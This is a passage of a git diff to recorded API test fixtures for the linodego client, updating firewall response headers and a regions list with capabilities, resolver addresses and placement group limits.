interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "575" + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:52 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: @@ -118,9 +157,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -136,7 +178,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228232 + url: https://api.linode.com/v4beta/networking/firewalls/498951 method: DELETE response: body: '{}' @@ -152,15 +194,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -173,9 +219,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml b/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml index 2bb3c4270..756cce0be 100644 --- a/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml +++ b/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml @@ -16,113 +16,134 @@ interactions: response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, - 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, - 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, - 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, - 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-iad", "label": - "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, - 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-ord", "label": - "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", - "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, - 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, - 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": - "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, - 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "se-sto", "label": - "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, - 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "es-mad", "label": - "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "in-maa", "label": - "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, - 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "jp-osa", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "it-mil", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -131,7 +152,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-mia", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -140,7 +162,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "id-cgk", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -149,7 +172,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-lax", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -158,65 +182,75 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-central", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, - 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, - 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU - Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", - "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block - Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", - "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, - DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", 